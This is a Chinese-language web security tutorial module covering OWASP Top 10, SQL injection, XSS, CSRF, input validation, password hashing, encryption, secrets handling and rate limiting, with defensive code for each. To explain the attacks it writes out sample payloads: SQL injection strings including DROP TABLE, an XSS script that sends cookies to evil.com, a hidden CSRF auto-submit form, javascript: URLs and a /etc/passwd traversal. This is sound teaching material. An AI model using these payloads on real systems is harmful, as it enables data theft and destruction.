跳转到内容

Module 14: 安全

📖 深度参考手册 — 本模块属于理论参考,非主线必读。 主线学习路径见 README.md。 当你在项目实战中遇到相关问题时,回来查阅。

安全不是”做完再加”的功能,而是从第一行代码就要考虑的事。这个模块覆盖 Web 应用最常见的安全威胁和防护方法。一次安全事件可以毁掉多年积累的用户信任——理解攻击原理才能有效防御。


定义:OWASP(Open Web Application Security Project)是一个开放的 Web 安全社区,每隔几年发布一次”Top 10”——Web 应用中最常见、最危险的十大安全风险排名。2021 版 Top 3 分别是:访问控制失效(Broken Access Control)、加密失败(Cryptographic Failures)、注入攻击(Injection)。这个列表是安全领域的”最低限度清单”——如果你的系统连 Top 10 都没防住,安全根本无从谈起。

为什么重要:OWASP Top 10 覆盖了现实中约 80% 的 Web 安全问题。它的价值在于帮你建立”安全审查的优先级”——你不需要成为安全专家,但至少要知道哪些风险是最常见的。很多公司在代码审查、安全审计、合规检查中都以 OWASP Top 10 作为基线标准。更重要的是,现在 AI 辅助编程越来越普遍,而 AI 生成的代码往往没有安全意识——你需要用 OWASP Top 10 作为检查清单来审查 AI 生成的代码。

案例所有 11 个系统都面临 OWASP Top 10 的风险。以 Hotel Reservation 为例:

OWASP Top 10 (2021) 对 Hotel Reservation 的威胁:
A01: Broken Access Control
→ 用户A能修改用户B的预订?管理员接口是否暴露?
→ 普通用户能否直接访问 /admin/reservations 接口?
A02: Cryptographic Failures
→ 信用卡信息是否明文存储?传输是否走 HTTPS?
→ 数据库备份是否加密?
A03: Injection
→ 搜索酒店时的关键词是否直接拼接 SQL?
→ 酒店描述中是否允许插入恶意脚本?
A04: Insecure Design
→ 预订流程是否可以被绕过(不付款直接确认)?
A05: Security Misconfiguration
→ 生产环境是否关闭了 debug 模式?
→ 是否用了默认的数据库密码?
...后续 A06-A10 同理
风险编号名称典型场景
A01访问控制失效用户越权访问他人数据
A02加密失败敏感数据明文存储或传输
A03注入攻击SQL注入、命令注入
A04不安全设计业务逻辑缺陷
A05安全配置错误默认密码、debug模式上线
A06过时组件使用有已知漏洞的库
A07认证失败弱密码策略、Session管理不当
A08数据完整性失败不安全的反序列化、CI/CD被篡改
A09日志与监控不足攻击发生了但没人知道
A10SSRF服务端被诱导访问内部资源

先想一想 🤔 如果你用 AI 生成了 Hotel Reservation 的后端代码,你最应该优先检查 OWASP Top 10 中的哪三项?为什么?

点击查看解析

优先检查 A01(访问控制)、A03(注入)、A02(加密失败)

  • A01 访问控制:AI 生成的代码经常缺少权限检查。它可能生成一个 DELETE /api/reservations/:id 接口,但忘记验证”当前用户是否拥有这个预订”。结果任何人知道预订 ID 就能删除别人的预订。
  • A03 注入:AI 有时会生成字符串拼接的 SQL(特别是复杂查询),而不是参数化查询。搜索酒店的接口是高危区域。
  • A02 加密失败:AI 可能在示例代码中用明文存储密码、把 JWT Secret 硬编码在代码里、或者忘记对敏感字段加密。

核心原则:AI 擅长”让功能跑起来”,但不擅长”让功能安全地跑起来”。安全审查是人类开发者不可推卸的责任。


定义:SQL 注入(SQL Injection)是指攻击者通过用户输入字段,将恶意 SQL 代码”注入”到后端的数据库查询中,从而执行非预期的 SQL 操作。其根本原因是:程序将用户输入直接拼接到 SQL 语句中,导致用户输入被当作 SQL 代码执行,而非纯粹的数据。SQL 注入至今仍是最常见的 Web 攻击手段之一,因为它原理简单、危害极大、而且很多开发者(包括 AI 代码生成工具)仍然会犯这个错误。

为什么重要:SQL 注入的危害是灾难级的——攻击者可以:拖库(导出全部数据)、删库(DROP TABLE)、越权(绕过登录验证)、甚至通过数据库执行系统命令。2017 年 Equifax 数据泄露(1.47 亿用户信息)就是由一个 Web 应用漏洞引起的。防护 SQL 注入是每个后端开发者的基本功。

案例Search Engine — 搜索关键词是 SQL 注入的高危入口

❌ 危险的代码(字符串拼接):
// 用户在搜索框输入关键词,后端这样拼接查询:
query = "SELECT * FROM pages WHERE content LIKE '%" + userInput + "%'"
// 正常输入 "system design":
SELECT * FROM pages WHERE content LIKE '%system design%'
// ✅ 正常工作
// 恶意输入 "' OR 1=1 --":
SELECT * FROM pages WHERE content LIKE '%' OR 1=1 --%'
// ❌ OR 1=1 永远为真 → 返回所有页面数据
// -- 注释掉后面的内容
// 更恶意的输入 "'; DROP TABLE pages; --":
SELECT * FROM pages WHERE content LIKE '%'; DROP TABLE pages; --%'
// ❌ 直接删除 pages 表!
✅ 安全的代码(参数化查询):
// 方式1:Prepared Statement(参数化查询)
query = "SELECT * FROM pages WHERE content LIKE ?"
db.Execute(query, "%" + userInput + "%")
// 数据库会把 userInput 严格当作"数据",不当作"代码"
// 方式2:ORM
db.Where("content LIKE ?", "%" + userInput + "%").Find(&pages)
// ORM 自动使用参数化查询
// 方式3:输入校验(额外防线)
if len(userInput) > 200 { reject } // 限制长度
userInput = stripSpecialChars(userInput) // 去掉特殊字符
防护手段原理推荐程度
参数化查询把用户输入当”数据”而非”代码”⭐⭐⭐ 必须
ORM自动生成参数化查询⭐⭐⭐ 推荐
输入校验拒绝明显异常的输入⭐⭐ 辅助
最小权限数据库账户只给必要权限⭐⭐ 辅助
WAFWeb应用防火墙拦截已知攻击模式⭐ 兜底

先想一想 🤔 为什么”输入校验”(比如过滤单引号)不能作为防 SQL 注入的主要手段,而参数化查询才是根本解决方案?

点击查看解析

输入校验是”黑名单思维”——你要猜到所有可能的攻击方式,然后逐一过滤。但攻击者总能找到绕过方式:

  • 过滤单引号?用双引号或反斜杠转义绕过
  • 过滤 OR?用大小写混合 oR 或编码 %4F%52 绕过
  • 过滤空格?用 /**/(SQL注释)代替空格

参数化查询是”根本解决”——它不是去过滤恶意输入,而是改变了处理方式:SQL 代码和用户数据在数据库引擎层面就是分开处理的。无论用户输入什么,都只会被当作数据,永远不会被当作 SQL 代码执行。

类比:输入校验是”检查每个乘客有没有带危险品”(总有漏网之鱼);参数化查询是”乘客和货物走完全不同的通道”(从根本上不可能混淆)。


定义:XSS(Cross-Site Scripting)是指攻击者将恶意 JavaScript 代码注入到 Web 页面中,当其他用户访问该页面时,恶意脚本会在他们的浏览器中执行。XSS 有三种类型:存储型(Stored XSS)——恶意脚本被存入数据库,所有查看该内容的用户都会中招;反射型(Reflected XSS)——恶意脚本在 URL 参数中,用户点击恶意链接触发;DOM 型(DOM-based XSS)——前端 JavaScript 直接将不安全的输入插入 DOM。存储型危害最大,因为它是”一次注入,持续生效”。

为什么重要:XSS 可以窃取用户的 Cookie(进而冒充用户登录)、修改页面内容(钓鱼攻击)、键盘记录(窃取密码)、甚至利用用户浏览器发起进一步攻击。XSS 是 Web 应用中最普遍的安全漏洞之一。好消息是现代前端框架(React、Vue)默认会对输出进行转义,大幅降低了 XSS 风险——但如果使用 dangerouslySetInnerHTML(React)或 v-html(Vue),风险就回来了。

案例Chat System — 用户消息是存储型 XSS 的完美攻击面

攻击场景:Chat System 中的存储型 XSS
1. 攻击者在聊天中发送一条"消息":
<script>
// 窃取所有在线用户的Cookie
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
2. 服务器将这条"消息"原样存入数据库
3. 其他用户打开聊天窗口时,浏览器加载消息列表:
<div class="message">
<script>fetch('https://evil.com/steal?cookie=...')</script>
</div>
4. 浏览器执行了这段脚本 → 所有查看该聊天的用户的Cookie被发送到攻击者服务器
5. 攻击者用偷来的Cookie冒充这些用户登录
防护措施:
✅ 方式1:输出编码(最基本)
// 将特殊字符转换为HTML实体
< → &lt;
> → &gt;
" → &quot;
' → &#x27;
// 这样 <script> 会显示为文字,而不会被浏览器当作代码执行
✅ 方式2:使用现代前端框架(React/Vue)
// React 默认会自动转义所有动态内容:
<div>{message.content}</div>
// 即使 content 包含 <script>,React 也会将其显示为纯文本
// ❌ 但千万不要这样做:
<div dangerouslySetInnerHTML={{__html: message.content}} />
// 这等于关闭了React的XSS防护!
✅ 方式3:Content Security Policy(CSP)
// HTTP响应头设置CSP:
Content-Security-Policy: script-src 'self'
// 只允许加载同域的脚本,内联脚本和外部恶意脚本都会被浏览器阻止
✅ 方式4:Cookie 安全属性
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
// HttpOnly: JavaScript无法读取Cookie → 即使XSS也偷不到Cookie
// Secure: 只在HTTPS下传输
// SameSite: 限制跨站发送

先想一想 🤔 Chat System 中如果需要支持富文本消息(加粗、链接、图片),你如何在”功能丰富”和”安全”之间取得平衡?

点击查看解析

使用 Markdown + 白名单HTML标签 的策略:

  1. 用户输入 Markdown:用户用 Markdown 语法(**加粗**[链接](url)![图片](url)),而不是直接写 HTML。
  2. 服务端渲染时用白名单过滤:使用专门的 Sanitizer 库(如 DOMPurify),只允许安全的 HTML 标签(<b>, <i>, <a>, <img>),移除所有 <script><iframe>、事件属性(onclick)等。
  3. 链接校验<a href="..."> 中的 URL 必须是 http://https:// 开头,拒绝 javascript: 协议。
  4. 图片校验:只允许来自特定域名的图片,或者要求上传到自己的服务器。
用户输入: **hello** <script>alert(1)</script> [click](javascript:alert(1))
↓ Markdown解析
HTML: <b>hello</b> <script>alert(1)</script> <a href="javascript:alert(1)">click</a>
↓ DOMPurify白名单过滤
安全HTML: <b>hello</b> <a>click</a> // script被移除, javascript:协议被移除

核心原则:永远不要自己写过滤规则,使用经过安全社区审计的 Sanitizer 库


定义:CSRF(Cross-Site Request Forgery)是指攻击者构造一个恶意网页,当已登录目标网站的用户访问这个恶意网页时,恶意网页会自动向目标网站发起请求。因为浏览器会自动附带目标网站的 Cookie,所以这个请求在服务端看来就像是用户自己发起的合法请求。CSRF 的本质是:攻击者利用了浏览器自动发送 Cookie 的机制。注意 CSRF 和 XSS 的区别:XSS 是在目标网站上执行恶意代码,CSRF 是从其他网站发起伪造请求。

为什么重要:CSRF 可以在用户不知情的情况下执行任何该用户有权限的操作——转账、修改密码、删除数据、取消订单。而且攻击成本极低——只需要诱导用户点击一个链接或打开一个页面。防护 CSRF 的好消息是:现代框架和浏览器已经提供了很好的防护机制(SameSite Cookie),但你需要知道原理才能正确配置。

案例Hotel Reservation — 攻击者构造页面让用户自动取消预订

攻击场景:
1. 用户已登录 hotel-reservation.com,浏览器中有有效的Session Cookie
2. 攻击者创建一个恶意页面 evil.com/free-gift.html:
<html>
<body>
<!-- 看起来像是一个"领取礼品"的页面 -->
<h1>恭喜您获得免费住宿!点击领取</h1>
<!-- 隐藏的表单,自动提交到目标网站 -->
<form id="attack" action="https://hotel-reservation.com/api/reservations/12345/cancel"
method="POST" style="display:none">
</form>
<script>document.getElementById('attack').submit();</script>
</body>
</html>
3. 用户打开 evil.com/free-gift.html
→ 浏览器自动提交表单到 hotel-reservation.com
→ 请求自动带上 hotel-reservation.com 的Cookie
→ 服务器认为是用户自己取消了预订
→ 预订被取消!用户完全不知情
防护措施:
✅ 方式1:CSRF Token(传统方案)
// 服务端生成随机Token,嵌入表单
<form>
<input type="hidden" name="_csrf" value="random-token-abc123">
<button>取消预订</button>
</form>
// 服务端验证:请求中的Token必须和Session中的Token匹配
// 攻击者的恶意页面无法获取这个Token → 伪造请求会被拒绝
✅ 方式2:SameSite Cookie(现代方案,推荐)
Set-Cookie: session=abc; SameSite=Strict
// SameSite=Strict: Cookie只在同站请求中发送
// 从 evil.com 发起的请求不会带上 hotel-reservation.com 的Cookie
// → 攻击直接无效
// SameSite=Lax(默认值):GET请求允许跨站带Cookie,POST不允许
// 对于CSRF来说Lax也足够,因为敏感操作应该用POST
✅ 方式3:检查 Origin / Referer 头
// 服务端检查请求的来源
if request.Header["Origin"] != "https://hotel-reservation.com" {
reject() // 不是从自己的站点发起的请求 → 拒绝
}

先想一想 🤔 如果 Hotel Reservation 是一个纯 SPA(前端通过 API 调用后端,不用传统表单),CSRF 风险是否会降低?为什么?

点击查看解析

风险会显著降低,但不是零。原因:

  1. 如果使用 JWT(存在 localStorage):CSRF 风险几乎为零。因为 CSRF 依赖于”浏览器自动发送 Cookie”,而 localStorage 中的 Token 不会被自动发送——前端代码需要手动将 JWT 加到 Authorization 头中。攻击者的恶意页面无法读取你的 localStorage(同源策略阻止),也无法让你的浏览器自动添加 Authorization 头。

  2. 如果使用 Cookie 存储 Session:仍然有 CSRF 风险。即使是 SPA,如果认证信息在 Cookie 中,fetchXMLHttpRequest 在某些配置下仍会自动带上 Cookie。

  3. SPA 的天然优势:API 调用通常使用 Content-Type: application/json,而浏览器的 <form> 表单只能发送 application/x-www-form-urlencodedmultipart/form-data。如果后端严格检查 Content-Type,可以阻止大部分 CSRF——但 fetch API 可以发送任何 Content-Type,所以这也不是完美方案。

最佳实践:JWT + SameSite Cookie(双保险)。


定义:输入校验(Input Validation)是在接收用户输入时检查其是否符合预期格式;输出编码(Output Encoding)是在将数据输出到不同上下文(HTML、URL、JavaScript、SQL)时进行相应的编码转换。两者是安全的基本原则——永远不信任用户输入(Trust No Input)。输入校验在”入口”拦截非法数据,输出编码在”出口”确保数据不会被当作代码执行。两者互补,缺一不可。

为什么重要:几乎所有注入类攻击(SQL 注入、XSS、命令注入、路径遍历)的根本原因都是:用户输入没有被正确校验或编码。掌握输入校验和输出编码,就掌握了防御大多数注入攻击的通用方法。关键原则是白名单优于黑名单——只允许已知合法的输入格式(白名单),而不是尝试排除已知的恶意模式(黑名单),因为你永远无法枚举所有的攻击方式。

案例URL Shortener — 用户提交的长 URL 必须严格校验

URL Shortener 接收用户提交的长URL,如果不校验,可能被滥用:
❌ 恶意输入1:javascript:alert(document.cookie)
→ 短链接 short.url/abc123 → 点击后执行JavaScript → 窃取Cookie
❌ 恶意输入2:data:text/html,<script>alert(1)</script>
→ 利用 data: 协议注入恶意页面
❌ 恶意输入3:https://evil.com/phishing-bank-login
→ 用短链接隐藏钓鱼网站的真实URL
→ 用户看到 short.url/abc 以为是安全链接
❌ 恶意输入4:https://hotel.com/admin/../../../etc/passwd
→ 路径遍历攻击
正确的校验策略(白名单思维):
// 步骤1:协议白名单
allowedSchemes := []string{"http", "https"}
parsedURL := url.Parse(userInput)
if !contains(allowedSchemes, parsedURL.Scheme) {
reject("只允许 http 和 https 协议")
}
// 步骤2:格式校验
if !isValidURL(userInput) {
reject("URL格式不合法")
}
// 步骤3:长度限制
if len(userInput) > 2048 {
reject("URL过长")
}
// 步骤4:域名黑名单(辅助)
blockedDomains := loadBlockedDomains() // 已知钓鱼/恶意域名
if isBlocked(parsedURL.Host) {
reject("该域名已被标记为恶意")
}
// 步骤5:可选 - 安全扫描
safetyScore := checkWithGoogleSafeBrowsing(userInput)
if safetyScore == "malicious" {
reject("该URL被标记为不安全")
}
输出编码——不同上下文使用不同编码:
场景1: 输出到 HTML
输入: <script>alert(1)</script>
编码后: &lt;script&gt;alert(1)&lt;/script&gt;
→ 浏览器显示为文字,不执行
场景2: 输出到 URL
输入: hello world&name=admin
编码后: hello%20world%26name%3Dadmin
→ 特殊字符不会破坏URL结构
场景3: 输出到 JavaScript
输入: ";alert(1);//
编码后: \x22\x3Balert\x281\x29\x3B\x2F\x2F
→ 不会被当作JS代码执行
场景4: 输出到 SQL
→ 使用参数化查询(根本不需要手动编码)

先想一想 🤔 在 URL Shortener 中,为什么”协议白名单”(只允许 http/https)比”协议黑名单”(禁止 javascript:)更安全?

点击查看解析

因为你无法枚举所有危险的协议:

  • javascript: — 执行JS代码
  • data: — 内嵌任意内容
  • vbscript: — IE中执行VBScript
  • blob: — 引用二进制对象
  • file: — 访问本地文件
  • 未来可能出现的新协议…

黑名单永远是”滞后”的——你只能防已知的威胁。而白名单是”主动”的——只有明确允许的才能通过。即使未来出现新的危险协议,白名单也自动将其阻止。

这就是安全领域的核心原则:默认拒绝,显式允许(Default Deny, Explicit Allow)。


定义:密码存储是指系统如何在数据库中保存用户的密码。正确的做法是永远不存储密码原文,而是存储密码的哈希值(hash)。哈希是一种单向函数——可以从密码计算出哈希值,但不能从哈希值反推出密码。密码存储的演进历程:明文存储(绝对不行)→ MD5/SHA 哈希(已不安全)→ 加盐哈希(每个密码加随机盐值)→ bcrypt/argon2(专为密码设计的哈希算法,自带盐值+计算成本可调)。

为什么重要:数据泄露是迟早的事(不是”会不会”,而是”什么时候”)。如果密码是明文存储的,一次泄露就意味着所有用户的密码直接暴露——而很多用户在多个网站使用相同密码,所以影响会扩散。如果使用了正确的密码哈希(bcrypt/argon2),即使数据库被拖库,攻击者也需要极高的计算成本才能破解每一个密码,大大降低了危害。

案例所有有用户登录的系统(11 个中的大多数)都需要处理密码存储。以 Chat System 为例:

密码存储的演进:
❌ Level 0: 明文存储
数据库: { user: "alice", password: "mypassword123" }
→ 数据库泄露 = 所有密码直接暴露
→ 开发者/DBA可以看到所有人的密码
❌ Level 1: MD5/SHA 哈希
数据库: { user: "alice", password_hash: "482c811da5d5b4bc..." }
→ 看似安全,但攻击者用"彩虹表"(预计算的 密码→哈希 对照表)可以秒查
→ "password123" 的 MD5 值全世界都一样 → 查表即可反推
⚠️ Level 2: 加盐哈希
数据库: { user: "alice", salt: "x8k2m", password_hash: SHA256("x8k2m" + "mypassword123") }
→ 每个用户的盐不同 → 相同密码产生不同哈希 → 彩虹表失效
→ 但 SHA256 速度太快!GPU可以每秒计算数十亿次 → 暴力破解仍可行
✅ Level 3: bcrypt / argon2(推荐)
数据库: { user: "alice", password_hash: "$2b$12$LJ3m4ys..." }
→ 自带随机盐(不需要单独存储)
→ 计算成本可调(cost factor): 每次哈希需要约100ms
→ 故意设计成慢的 → GPU暴力破解从"数十亿次/秒"降到"几千次/秒"
→ 破解一个8位密码从几秒变成几年
验证密码的流程(以bcrypt为例):
用户登录输入密码 "mypassword123"
从数据库取出存储的 hash: "$2b$12$LJ3m4ys..."
bcrypt.Compare("mypassword123", "$2b$12$LJ3m4ys...")
bcrypt 从存储的 hash 中提取盐和成本因子
用相同的盐和成本因子对输入密码计算哈希
比较两个哈希是否相同 → 相同则登录成功
方案安全性破解8位密码耗时
明文💀0(直接读)
MD5💀几秒(彩虹表)
SHA256⚠️几小时(GPU暴力)
SHA256+盐⚠️几天(需逐用户破解)
bcrypt(cost=12)几年
argon2几年到几十年

先想一想 🤔 为什么 bcrypt 要故意设计成”慢”?这不是影响用户登录体验吗?

点击查看解析

bcrypt 的”慢”是精心调校的:

  • 对正常用户:每次登录做一次 bcrypt 计算,耗时约 100ms。用户完全感知不到这 100ms 的延迟——网络传输本身就有几十毫秒延迟。
  • 对攻击者:要尝试所有可能的密码组合(暴力破解),每次尝试都需要 100ms。如果用普通哈希(SHA256),每秒可以尝试数十亿个密码;用 bcrypt,每秒只能尝试几千个。

数学上的差异:

8位密码(大小写+数字)= 62^8 ≈ 218万亿种组合
SHA256 (GPU): 10亿次/秒 → 218万亿/10亿 ≈ 60小时
bcrypt(12): 1000次/秒 → 218万亿/1000 ≈ 6900年

而且 bcrypt 的 cost factor 可以随硬件升级而提高——硬件快了就调高 cost,始终保持破解成本在”不可接受”的水平。这就是”可调成本”的意义。


定义:加密(Encryption)是将明文数据转换为密文,只有持有正确密钥的人才能解密还原。加密分为两大类:对称加密(Symmetric Encryption)——加密和解密使用同一把密钥,如 AES,速度快,适合加密大量数据;非对称加密(Asymmetric Encryption)——使用一对密钥(公钥加密、私钥解密,或私钥签名、公钥验证),如 RSA/ECDSA,速度慢但解决了密钥分发问题。HTTPS 同时使用两者:先用非对称加密安全地交换一个对称密钥,然后用对称密钥加密后续所有通信。

为什么重要:加密是保护数据机密性和完整性的基础。没有加密,数据在传输中可以被窃听(中间人攻击),在存储中可以被泄露(数据库被拖库)。理解对称/非对称加密的区别和适用场景,是做出正确技术决策的前提——比如知道为什么不能用非对称加密来加密所有数据(太慢),为什么对称加密不能直接用于客户端-服务端通信(密钥分发问题)。

案例Google Drive — 存储加密和分享链接中同时使用了两种加密

Google Drive 的加密策略:
═══ 文件存储(对称加密 AES-256)═══
用户上传文件 "财务报表.xlsx"
Google 为该文件生成一个唯一的 AES-256 密钥(数据加密密钥, DEK)
用 DEK 加密文件内容 → 存储加密后的文件
DEK 本身再用另一个密钥加密(密钥加密密钥, KEK)→ 存储加密后的 DEK
KEK 由 Google 的 KMS(密钥管理服务)管理
这叫"信封加密"(Envelope Encryption):
文件 → DEK加密 → 密文
DEK → KEK加密 → 加密后的DEK
KEK → KMS硬件保护
为什么不直接用一个密钥加密所有文件?
→ 如果那个密钥泄露,所有文件都暴露
→ 每个文件独立密钥,泄露一个只影响一个文件
═══ 分享链接(非对称加密/签名)═══
用户生成分享链接:
https://drive.google.com/file/d/abc123?token=eyJhbGciOi...
这个 token 是一个签名(类似JWT):
内容: { fileId: "abc123", permissions: "view", expires: "2024-12-31" }
签名: ECDSA_Sign(私钥, 内容) // 服务端用私钥签名
当别人打开链接:
服务端用公钥验证签名 → 确认token没被篡改 → 检查权限和过期时间 → 允许访问
为什么用非对称签名?
→ 多个服务器都需要验证token的合法性
→ 只需把公钥分发给所有服务器(公钥不怕泄露)
→ 私钥只在签名服务器上,攻击面小
HTTPS 握手过程(同时使用两种加密):
客户端 服务端
│ │
│───── ClientHello(支持的加密套件)────→│
│ │
│←── ServerHello + 服务端证书(含公钥)──│
│ │
│ 客户端验证证书合法性 │
│ 生成随机的"预主密钥" │
│ 用服务端公钥加密预主密钥 │
│ │
│──── 加密后的预主密钥 ────────────────→│
│ │
│ 双方用预主密钥推导出相同的对称密钥 │ ← 非对称加密阶段结束
│ │
│←──── 用对称密钥加密的数据通信 ────→│ ← 对称加密阶段开始
│ (AES, 速度快, 适合大量数据) │
维度对称加密(AES)非对称加密(RSA/ECDSA)
密钥一把(加密=解密)一对(公钥+私钥)
速度快(约1000x)
适用大量数据加密密钥交换、数字签名
挑战如何安全传递密钥?性能差,不适合大数据
典型用途文件加密、磁盘加密HTTPS握手、JWT签名

先想一想 🤔 如果 Google Drive 要实现”端到端加密”(即使 Google 自己也无法读取用户文件),架构上需要做什么改变?这会带来什么代价?

点击查看解析

端到端加密(E2E)意味着密钥只在用户设备上,Google 服务器上只有密文,无法解密:

  1. 密钥由用户管理:DEK 不再由 Google 的 KMS 保管,而是用用户自己的密码(或设备密钥)加密后存储。Google 只能看到加密后的 DEK,无法解密。
  2. 搜索功能受限:Google 无法在密文上做全文搜索——你搜”财务”时,Google 不知道哪些文件包含这个词。(除非使用同态加密等高级技术,但目前不实用)
  3. 预览/编辑功能受限:文件必须在客户端解密后才能预览和编辑,Google Docs 的在线协作功能几乎无法实现。
  4. 密钥丢失=数据丢失:如果用户忘记密码且没有备份密钥,Google 也无法帮助恢复——这对普通用户很不友好。
  5. 分享变复杂:分享文件需要用对方的公钥重新加密 DEK,双方需要交换公钥。

这就是为什么 Google Drive 默认不做端到端加密——安全性和功能性之间存在根本的权衡。类似 Signal(聊天)和 ProtonDrive(存储)选择了端到端加密,但代价是功能受限。


定义:密钥与敏感信息(Secrets)包括数据库密码、API Key、JWT Secret、第三方服务凭证、加密密钥等。敏感信息管理的核心目标是确保这些信息不硬编码在代码中、不提交到版本控制系统、不在日志中打印、按需访问且可审计。管理方式的演进:硬编码(绝对不行)→ 环境变量/.env 文件(基本方案)→ HashiCorp Vault / AWS Secrets Manager(企业方案,支持自动轮转和访问审计)。

为什么重要:密钥泄露是最常见的安全事件之一。GitHub 上每天有大量的 API Key、数据库密码被意外提交到公开仓库。一旦泄露,攻击者可以直接访问你的数据库、冒充你调用第三方 API、甚至控制你的云服务器。2019 年 Capital One 数据泄露(1 亿用户数据)就与 AWS 凭证管理不当有关。密钥管理不是”锦上添花”,而是安全的基础。

案例Hotel Reservation — 支付服务的 API Key 泄露等于用户信用卡信息泄露

Hotel Reservation 系统中有哪些敏感信息?
1. 数据库密码: DATABASE_URL=postgres://user:password@host/db
2. JWT Secret: JWT_SECRET=my-super-secret-key
3. 支付服务API Key: STRIPE_SECRET_KEY=sk_live_abc123...
4. 邮件服务凭证: SENDGRID_API_KEY=SG.xxx...
5. 第三方酒店API凭证: HOTEL_PARTNER_API_KEY=...
6. 加密密钥: ENCRYPTION_KEY=... (用于加密存储的信用卡信息)
payment_service.go
管理方式演进:
❌ Level 0: 硬编码在代码中
const stripeKey = "sk_live_abc123..." // 提交到Git → 全世界可见
// 曾经有人这样做 → 代码推到GitHub → 几分钟内被自动化爬虫发现 → 账户被盗
❌ Level 1: 配置文件(提交到Git)
// config.yaml
stripe_key: "sk_live_abc123..."
// 和硬编码一样危险,只是换了个位置
⚠️ Level 2: .env 文件(不提交到Git)
// .env(在.gitignore中)
STRIPE_SECRET_KEY=sk_live_abc123...
// ✅ 不会泄露到Git
// ⚠️ 但多服务器部署时需要手动复制.env文件
// ⚠️ 无法自动轮转密钥
// ⚠️ 无法审计谁在什么时候访问了密钥
✅ Level 3: Vault / Secrets Manager
// 应用启动时从Vault获取密钥
client := vault.NewClient(vaultAddr)
stripeKey, _ := client.Read("secret/data/payment/stripe")
// ✅ 集中管理所有密钥
// ✅ 自动轮转(每30天自动更换密钥)
// ✅ 访问审计(谁在什么时候读取了哪个密钥)
// ✅ 最小权限(支付服务只能访问支付相关密钥)
// ✅ 动态密钥(每次请求生成临时数据库凭证,过期自动失效)
最佳实践清单:
1. ✅ 代码中不出现任何密钥值(用环境变量或Vault)
2. ✅ .env 文件加入 .gitignore
3. ✅ 提供 .env.example(只有键名没有值)
4. ✅ CI/CD 中使用 Secrets 功能(GitHub Secrets, GitLab CI Variables)
5. ✅ 定期轮转密钥(尤其是发生人员变动时)
6. ✅ 日志中自动脱敏(检测并屏蔽类似API Key格式的字符串)
7. ✅ 使用 git-secrets / trufflehog 等工具扫描仓库中的泄露
8. ✅ 不同环境(dev/staging/prod)使用不同的密钥

先想一想 🤔 如果你发现 Hotel Reservation 的 Stripe API Key 已经被意外提交到了 GitHub 公开仓库,你应该按什么顺序处理?

点击查看解析

立即行动(按优先级排序)

  1. 立即轮转密钥(最高优先级):在 Stripe 后台生成新的 API Key,废止旧的。从发现泄露到轮转密钥,每多一分钟风险就多一分——自动化爬虫可能在几分钟内就发现并利用。

  2. 检查 Stripe 活动日志:查看泄露期间是否有异常的 API 调用(异常的付款、退款、客户数据查询)。如果有,立即联系 Stripe 支持。

  3. 更新部署:用新密钥重新部署所有环境。

  4. 从 Git 历史中删除密钥:用 git filter-branch 或 BFG Repo Cleaner 清除 Git 历史中的密钥。注意:仅仅在新 commit 中删除密钥是不够的——旧 commit 中仍然可以看到。

  5. 根因分析:为什么密钥会被提交?缺少 .gitignore?缺少 pre-commit hook?建立防护:

    • 添加 pre-commit hook(如 git-secrets),在提交时自动检测密钥
    • CI/CD 中加入密钥扫描步骤

错误的做法:先删除文件再轮转密钥——攻击者可能已经在你删除之前就复制了密钥。轮转永远是第一步


定义:速率限制(Rate Limiting)是限制单个用户/IP/API Key 在一定时间内的请求次数,防止资源被过度消耗。DDoS(Distributed Denial of Service)防护是防御大规模分布式攻击,使攻击流量无法压垮服务。两者在不同层面保护系统:速率限制在应用层防正常但过量的使用(滥用),DDoS 防护在基础设施层防恶意的大规模攻击。常见的速率限制算法有令牌桶(Token Bucket)和漏桶(Leaky Bucket)。

为什么重要:没有速率限制的 API 就像不设人数上限的餐厅——哪怕不是恶意攻击,一个写得不好的爬虫或一次营销活动带来的突发流量就能压垮你的服务。而 DDoS 攻击更是每个公网服务都会面临的威胁——2023 年 Cloudflare 记录的最大 DDoS 攻击达到了每秒 7100 万请求。应用层限流和基础设施层防护缺一不可。

案例URL Shortener — 防止批量生成短链接消耗资源

URL Shortener 面临的滥用场景:
场景1: 恶意脚本批量生成短链接
→ 攻击者用脚本每秒调用1000次 POST /api/shorten
→ 数据库被灌入百万条垃圾数据
→ 短链接命名空间被耗尽(6位短码只有568亿种组合)
→ 正常用户无法创建新短链接
场景2: 短链接被滥用于 DDoS 放大
→ 攻击者创建大量短链接指向受害者网站
→ 在社交媒体发布这些短链接
→ 大量用户点击 → URL Shortener 的重定向流量全部涌向受害者
场景3: 爬虫暴力遍历短链接
→ 短链接是 short.url/{6位字符}
→ 攻击者遍历所有可能的6位组合
→ 发现所有短链接对应的长URL(隐私泄露)
应用层:速率限制
═══ 令牌桶算法(Token Bucket)═══
桶容量: 10个令牌(允许突发10个请求)
填充速率: 每秒2个令牌(稳态速率2个请求/秒)
时间线:
0s: 桶满(10个令牌) → 用户发5个请求 → 扣5个令牌 → 桶剩5个 → ✅全部通过
1s: 补充2个令牌 → 桶有7个
2s: 用户发8个请求 → 扣7个令牌 → 桶空 → 7个✅通过,1个❌被拒绝(429 Too Many Requests)
3s: 补充2个令牌 → 桶有2个 → 允许2个请求
特点: 允许短时间的突发流量(桶满时),但长期速率不超过填充速率
═══ 按不同维度限流 ═══
维度1: 按IP
→ 同一IP每分钟最多100次请求
→ 防止单个用户滥用
→ 缺点:同一NAT后的用户共享IP,可能误伤
维度2: 按API Key
→ 注册用户每天最多1000条短链接
→ 付费用户每天10000条
→ 更精准,不会误伤
维度3: 按端点
→ POST /api/shorten(创建)限制严格:10次/分钟
→ GET /api/{code}(跳转)限制宽松:1000次/分钟
→ 创建比跳转消耗更多资源,所以限制更严
基础设施层:DDoS防护
正常用户的请求
┌─────── Cloudflare/AWS Shield ───────┐
│ 1. Anycast: 全球分布的边缘节点 │
│ → 攻击流量被分散到全球多个节点 │
│ → 单个节点不会被压垮 │
│ │
│ 2. 流量清洗: │
│ → 识别攻击特征(异常的请求模式) │
│ → 过滤恶意流量,放行合法流量 │
│ │
│ 3. WAF (Web Application Firewall): │
│ → 规则匹配(SQL注入/XSS模式) │
│ → IP信誉库(已知恶意IP) │
│ → 验证码挑战(CAPTCHA) │
└──────────────────────────────────────┘
只有合法流量到达你的服务器
┌── 应用层速率限制中间件 ──┐
│ 令牌桶/漏桶按用户限流 │
└─────────────────────────┘
你的应用程序
层面防护目标工具特点
应用层正常但过量的使用限流中间件(令牌桶/漏桶)精确到用户/API Key
网络层大规模DDoS攻击Cloudflare/AWS Shield自动化,全球分布
